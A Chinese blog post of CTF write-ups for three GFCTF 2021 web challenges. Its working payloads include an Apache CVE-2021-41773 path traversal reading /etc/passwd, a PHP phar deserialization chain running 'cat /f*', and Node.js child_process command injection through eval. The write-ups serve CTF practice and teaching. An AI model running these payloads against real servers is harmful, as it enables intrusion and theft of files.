文章字体粘贴处https://blog.csdn.net/Jayjay___/article/details/131716989?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170999301516800225545554%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170999301516800225545554&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-131716989-null-null.142^v99^pc_search_result_base5&utm_term=%5BGFCTF%202021%5DBaby_Web&spm=1018.2226.3001.4187

[GFCTF 2021]Baby_Web

拿源码环节:

打开环境(◡ᴗ◡)

乍一看什么都没有,F12下没看到js文件,但是看到了出题师傅的提示:“源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?

这时候在思考文件在上层目录中,既然是目录下那就试一下dirsearch扫描先看看后台都有什么(这里就直接展示一下扫描结果,收到了一部分新师傅的私信说之前的题解虽然讲了在那些题目下Kali,bp的使用方法但是没说具体的,后边会单独出教程的T-T这里就不多说了)

这里出现了几个很重要的关键词“cgi-bin”“.%2e”想到了之前偶然间看到的两篇博客:“CVE-2021-41773_Jay 17”“Apache httpd CVE-2021-41773 漏洞分析”简单来说就是:在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时, ap_normalize_path()函数会对路径参数先进行 url 解码,然后判断是否存在 ../路径穿越符。结果就是如果路径中存在 %2e./形式,程序就会检测到路径穿越符。然而,当出现 .%2e %2e%2e/ 形式,程序就不会将其检测为路径穿越符。那么就可以活用到这道题目。

打开BP,本地环境修改以后刷新网页进行抓包(ρ_・).。:

在发包界面点击Repeater,进入可修改发包界面,在url栏修改代码然后发包:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

代码形式参考kali扫描结果!^_~

修改成下图:

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

可以看到已经可以有目录了,那么开始想既然当前目录是/var/www/html,那上层就是/var/www/想起来刚才说源码在xxx.php.txt那应该有最原始的index吧?O.o,先做尝试?

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1

有了!ヾ(^▽^*))) index.php长这样!

<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

?>

看了一下源码!Class.php?好啊,看来同目录下还有个这个那直接找一下,刚才的文件叫“xxx.php.txt”这个也一样喽?

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/Class.php.txt HTTP/1.1

Class.php长这样!

<?php
defined('main') or die("no!!");
Class Temp{
    private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    private $template;
    public function __construct($data){

        $this->date = array_merge($this->date,$data);
    }
    public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }
    public function display($template,$space=''){

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    }
    public function listdata($_params){
        $system = [
            'db' => '',
            'app' => '',
            'num' => '',
            'sum' => '',
            'form' => '',
            'page' => '',
            'site' => '',
            'flag' => '',
            'not_flag' => '',
            'show_flag' => '',
            'more' => '',
            'catid' => '',
            'field' => '',
            'order' => '',
            'space' => '',
            'table' => '',
            'table_site' => '',
            'total' => '',
            'join' => '',
            'on' => '',
            'action' => '',
            'return' => '',
            'sbpage' => '',
            'module' => '',
            'urlrule' => '',
            'pagesize' => '',
            'pagefile' => '',
        ];

        $param = $where = [];

        $_params = trim($_params);

        $params = explode(' ', $_params);
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
        foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) { 
                $system[$var] = $val;
            } else {
                $param[$var] = $val; 
            }
        }
        // action
        switch ($system['action']) {

            case 'function':

                if (!isset($param['name'])) {
                    return  'hacker!!';
                } elseif (!function_exists($param['name'])) {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                    if ($p) {

                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);
                    }
                    return $rt;
                }else{
                    return null;
                }
            case 'list':
                return json_encode($this->date);
        }
        return null;
    }
}

我了个豆T.T,这么长啊打开Vscode建在一个工程下

开始审计代码。。。┭┮﹏┭┮

index.php

先分析一下

首先,这里调用了Temp作为类,并构造方式传参,传参方式是POST。然后调用了Temp中Display作为方式传,Get形式提交filename

代码放这里对照看一下

Class.php

1.先看一下“temp”类吧:

private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    private $template;
    public function __construct($data){

        $this->date = array_merge($this->date,$data);

可以看到用了array_merge()函数,简单介绍一下吧:array_merge()出现时,则合并一个或多个数组.合并后参数2数组的内容附加在参数1之后。同时如果参数1、2数组中有相同的字符串键名则合并后为参数2数组中对应键的值,发生了覆盖。(造成变量覆)盖然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。

这里附上php手册上的例子:

2.往下分析display:

    public function display($template,$space=''){

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);

可以看出来有两个魔术方法分别是“extract()”以及“include()”那么直接查手册得到这两个方法含义:

extract():从数组中将变量导入到当前的符号表。

include():包含一个文件。

3.再看getTempName():

    public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }
    
    

可以看到句子意思是:如果传入getTempName()中形参dir是admin,那么就对template的属性:

$this->template

进行一个拼接,拼接过程为属性,同时进行替换过滤。过滤内容为:

'..','','./template/admin/'

其中

is_file()用于检查是否是文件。

4.最后检查一下listdata():

    public function listdata($_params){
        $system = [
            'db' => '',
            'app' => '',
            'num' => '',
            'sum' => '',
            'form' => '',
            'page' => '',
            'site' => '',
            'flag' => '',
            'not_flag' => '',
            'show_flag' => '',
            'more' => '',
            'catid' => '',
            'field' => '',
            'order' => '',
            'space' => '',
            'table' => '',
            'table_site' => '',
            'total' => '',
            'join' => '',
            'on' => '',
            'action' => '',
            'return' => '',
            'sbpage' => '',
            'module' => '',
            'urlrule' => '',
            'pagesize' => '',
            'pagefile' => '',
        ];

        $param = $where = [];

        $_params = trim($_params);

        $params = explode(' ', $_params);
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
        foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) { 
                $system[$var] = $val;
            } else {
                $param[$var] = $val; 
            }
        }
        // action
        switch ($system['action']) {

            case 'function':

                if (!isset($param['name'])) {
                    return  'hacker!!';
                } elseif (!function_exists($param['name'])) {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                    if ($p) {

                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);
                    }
                    return $rt;
                }else{
                    return null;
                }
            case 'list':
                return json_encode($this->date);
        }
        return null;
    }
}

trim():去除字符串首尾处的空白字符。
in_array():检查数组中是否存在某个值。

foreach():遍历给定的数组。

strpos():查找字符串首次出现的位置

function_exists():如果给定的函数已经被定义就返回“ture”

intval():获取变量的整数值

call_user_func_array():call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func():第一个参数是被调用的回调函数,其余参数是回调函数的参数。

json_encode():进行json格式的加密

explode():根据指定的分隔符将一个字符串拆分为一个数组的子字符串。比如说原来$ _ params=“1 2 3 E”,explode处理后为$params=[“1”,“2”,“3”,“E”]

Payload调试开始:

利用call_user_func函数进行RCE

flag在phpinfo中也会显示。所以我们只需要$param['name']='phpinfo'就行啦。

o( ̄ε ̄*):

1.用$param['name']=system推,param[name]要是定义函数,并且同时system[‘action’]=function 这里前者已经满足了,后者还需要构造。

2.满足$param['name']=system的同时,foreach语句块中需要构造一下下列情况 :

'name '='system'
'action'='function'

还需要注意的是,params数组需要构造下边的语句:

‘force’ =‘false’
‘param0xxxxx’ = ‘命令’

3.如果$params数组(有序数组)第一个元素是'list' 或者'function',就把$params数组第一个元素的内容,前面加上一个字符串action=

if (in_array($params[0], ['list','function'])) {
    $params[0] = 'action='.$params[0];
}

利用上一段代码

$params=[“function”,“name=system”,“force=false”,“param0xxxxx=命令”]

4.继续推:

$_params参数的值是"function name=system force=false param0xxxxx=命令
或者action=function name=system force=false param0xxxxx=命令

5.调用这个listdata方法就需要进入template/admin/这个路由,即在display()方法中包含这个路由,即display()方法中执行include($this->template);时,$this->template属性就是template/admin/

6.我们的目的是执行$this->template = str_replace('..','','./template/admin/'.$template);语句,并且在执行时使$dir = 'admin'并且$template=index.html

因为template/admin/路由和template/admin/index.html文件都能调用listdata方法,但是if(!is_file($this->template))要求是为文件。所以getTempName($template,$dir)方法的形参$template=index.html,形参$dir=admin

7.getTempName($template,$dir)方法的形参确定了,而getTempName($template,$dir)方法的形参又来源于display()方法的方法内变量(也可以叫属性)$template$space

那么问题来了,这两个属性在方法不存在。要使这两个属性存在且有我们需要的值,只能执行extract($this->date);语句,从数组中将变量导入到当前的符号表。类中变量/属性$this->date就应该是['template'=>'index.html','space'=>'admin']。

8.利用listdata传参

9.最终payload为:

?filename=index.html//GET
space=admin&mod=xxx action=function name=phpinfo//POST

呼~这就算是完成了!

 

 

这样子传完以后会进入phpinfo  CTRL F 搜索就好了:

 

 NSSCTF{0489d6cf-1449-4db0-8f91-d62c7aedb074}  

解决!

 

[GFCTF 2021]文件查看器

好的,这次不急着启动环境,一般来说我不会去看题目标签,就当是比赛来打,但是这题是有提示的所以环境启动界面先停留一下!

可以看到,它说“php://filter有很多有趣的过滤器”那就留一个心眼,接着环境打开:

又是喜闻乐见的登陆界面,让我忍不住想弱口令不过在这之前还是先看看F12的源码,防止做无用功。发现还是啥都没,这时候总感觉少东西,那先盲猜吧。admin;admin。

进去了,唉,又是这种没有任何逻辑盲猜的题目,那应该弱口令就是正解,这里取巧节省时间了(这里是因为小T的习惯是做题都要有一点依据,盲猜过关这种真的很不喜欢,所以吐槽了一下)

一个框?那我们试一试看是不是sql那一类的,当然不能随便输入,他都说叫文件查看器了,直接找index.php看行不行O.o

这里出来了一段代码,瞬间停止双手,这个框的功能好像类似于“ctrl F”也就是一个关键字提取器

试了试直接调用flag

不行的,也就是有关键字过滤?那估计后台有个源码了,kali拉起来去扫一下目录!

事实证明咱的思路是对的,后台真的有东西,那就访问下载一下(lll¬ω¬)

http://node4.anna.nssctf.cn:28055/www.zip

得到一个压缩包,vscode拉起来得到下边的程序框架(◡‿◡):

大概有这么多文件,接下来挨个看看有没有突破口≡[。。]≡,有用的是几个php文件类互相呼应他们共同形成了一个POP链子,先把源码放在下边:

Myerror.class.php

<?php
    class Myerror{
        public $message;

        public function __construct(){
            ini_set('error_log','/var/www/html/log/error.txt');
            ini_set('log_errors',1);
        }

        public function __tostring(){
            $test=$this->message->{$this->test};
            return "test";
        }
    }

Files.class.php

<?php
    class Files{
        public $filename;

        public function __construct(){
            $this->log();
        }
        
        public function read(){
            include("view/file.html");
            if(isset($_POST['file'])){
                $this->filename=$_POST['file'];
            }else{
                die("请输入文件名");
            }
            $contents=$this->getFile();
            echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
        }
        
        public function filter(){
            if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){
	echo "这合理吗";
                throw new Error("这不合理");
            }
        }

        public function getFile(){
            $contents=file_get_contents($this->filename);
            $this->filter();
            if(isset($_POST['write'])){
                file_put_contents($this->filename,$contents);
            }
            if(!empty($contents)){
                return $contents;
            }else{
                die("该文件不存在或者内容为空");
            } 
        }

         public function log(){
            $log=new Myerror();
        }

        public function __get($key){
            ($key)($this->arg);
        }
    }

User.class.php

<?php
	error_reporting(0);
    class User{
        public $username;
        public $password;

        public function login(){
            include("view/login.html");
            if(isset($_POST['username'])&&isset($_POST['password'])){
                $this->username=$_POST['username'];
                $this->password=$_POST['password'];
                if($this->check()){
                    header("location:./?c=Files&m=read");
                }
            }
        }

        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            (@$this->password)();
        }

        public function __call($name,$arg){ 
            ($name)();
        }
    }

index.php

<?php
    function __autoload($className) {
        include("class/".$className.".class.php");
    }

    if(!isset($_GET['c'])){
        header("location:./?c=User&m=login");
    }else{
        $c=$_GET['c'];
        $class=new $c();
        if(isset($_GET['m'])){
            $m=$_GET['m'];
            $class->$m();
        }
    }

把他们合起来是可以写出一个链子的,逻辑是

//destruct->check->String->get

合成以后是这样:

<?php
class User{
    public $username;
    public $password;
}
class Files{
    public $filename;
}

class Myerror{
    public $message;
}

$a1=new User();
$a2=new User();
$b=new Myerror();
$c=new Files();
$a1->password=[$a2,"check"];
$a2->username=$b;
$b->message=$c;
$b->test='system';
$c->arg='cat /f*';
$A=array($a1,null);

到这里以后 这个链子怎么用呢,突然发现他有个error的文件,发现应该是类似开发日志那种记录的东西,既然如此,我试一试前一段时间学的phar上传:

修改一下链子长这样:

<?php
class User{
    public $username;
    public $password;
}
class Files{
    public $filename;
}

class Myerror{
    public $message;
}

$a1=new User();
$a2=new User();
$b=new Myerror();
$c=new Files();
$a1->password=[$a2,"check"];
$a2->username=$b;
$b->message=$c;
$b->test='system';
$c->arg='cat /f*';
$A=array($a1,null);

$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($A);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

直接再目录下运行就就好了!

生成一个文件hacker.phar

再把这个phar文件加密:

<?php
$a=file_get_contents('hacker.phar');//获取二进制数据
$a=iconv('utf-8','UCS-2',base64_encode($a));//UCS-2编码
file_put_contents('hacker.txt',quoted_printable_encode($a));//quoted_printable编码
file_put_contents('hacker.txt',preg_replace('/=\r\n/','',file_get_contents('hacker.txt')).'=00=3D');//解决软换行导致的编码结构破坏

得到一个hacker.txt

回到环境,利用它已经出现的脏数据以及GC回收机制的知识点,进行访问。

访问/log/error.txt

=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00o=00v=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=005=00A=00A=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00O=00O=003=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00N=00D=00o=00i=00V=00X=00N=00l=00c=00i=00I=006=00M=00j=00p=007=00c=00z=00o=004=00O=00i=00J=001=00c=002=00V=00y=00b=00m=00F=00t=00Z=00S=00I=007=00T=00z=00o=003=00O=00i=00J=00N=00e=00W=00V=00y=00c=00m=009=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00c=006=00I=00m=001=00l=00c=003=00N=00h=00Z=002=00U=00i=00O=000=008=006=00N=00T=00o=00i=00R=00m=00l=00s=00Z=00X=00M=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00Z=00m=00l=00s=00Z=00W=005=00h=00b=00W=00U=00i=00O=000=004=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=00z=00O=00j=00g=006=00I=00n=00B=00h=00c=003=00N=003=00b=003=00J=00k=00I=00j=00t=00O=00O=003=001=00p=00O=00j=00E=007=00c=00z=00o=001=00O=00i=00J=00j=00a=00G=00V=00j=00a=00y=00I=007=00f=00X=001=00p=00O=00j=00A=007=00T=00j=00t=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00F=00i=00H=00h=00W=00U=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00H=00K=00K=00q=00q=00l=00r=00L=004=00b=00H=00q=00t=00p=00L=00i=008=00h=00Y=00b=00Y=00Z=00c=00K=00i=00F=00l=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00=3D

接下来就要用到伪协议和过滤器(后面步骤要点击重写文件)

php://filter/read=convert.quoted-printable-decode/resource=log/error.txt

接下来就对一个一个对应解码代码放下边,按顺序操作就好了。

php://filter/read=convert.iconv.UCS-2.UTF-8/resource=log/error.txt//重写
php://filter/read=convert.base64-decode/resource=log/error.txt//重写
phar://log/error.txt//读取

完事了。知识点不难,操作繁琐。o(=•ェ•=)m

[GFCTF 2021]ez_calc

开启环境以后

username界面以及passwd界面那要么弱口令要么有提示打开,F12看到了登录逻辑:

if(req.body.username.toLowerCase() !== 'admin' && req.body.username.toUpperCase() === 'ADMIN' && req.body.passwd === 'admin123'){
        // 登录成功,设置 session     
    }

看一下代码注意一下形式Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

所以最终密码是:

username:admın
oasswd:admin123

进入下一关:

 

看到是一个小端口,只能说因为首页内容得知可能考虑的内容就是node相关的内容,那么,首先尝试一下这是个什么东西:

初次尝试发现可以执行{{3*3}}首先环境js中的模板渲染,但是还差源码这个条件呀,出现了一个明显的calc的函数

F12看下:

有一个node的逻辑代码:


let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
    if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
        flag = true;
        calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
    }
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
    calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
    calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
    calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
    calc = calc.replace("x", "");
}

try {
    result = eval(calc);

}

可以看到有过滤字符,分别是:

“sh“ ”ln“ ”fs“ x ””f ““l““c”;eval(calc)会进行命令执行

传入calc[]=a(aaa&calc[]=bbb&calc[]=ccc&calc[]=(可以得到回显a(aaa**********

for (let i = 0; i < calc.length; i++)会在此处获取传入参数的长度

数组内一共有5个元素,那么calc.length=5

综上直接测试:

方法一:

首先把eval放在url下:

 POST进去

calc[]=Object.values(require('child_process'))[5]('cat${IFS}/G*>p')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

这一步是读取P,又因为cat会超长,使用nl:

calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

得到flag:

方法二:

bp启动,直接再bp下构造绕过:

calc[]=Object.values(require('child_process'))[5]('cat${IFS}/G*>p')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

最终flag:

NSSCTF{d9d720d3-18a0-495c-bb43-b846687174c0} 

 

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。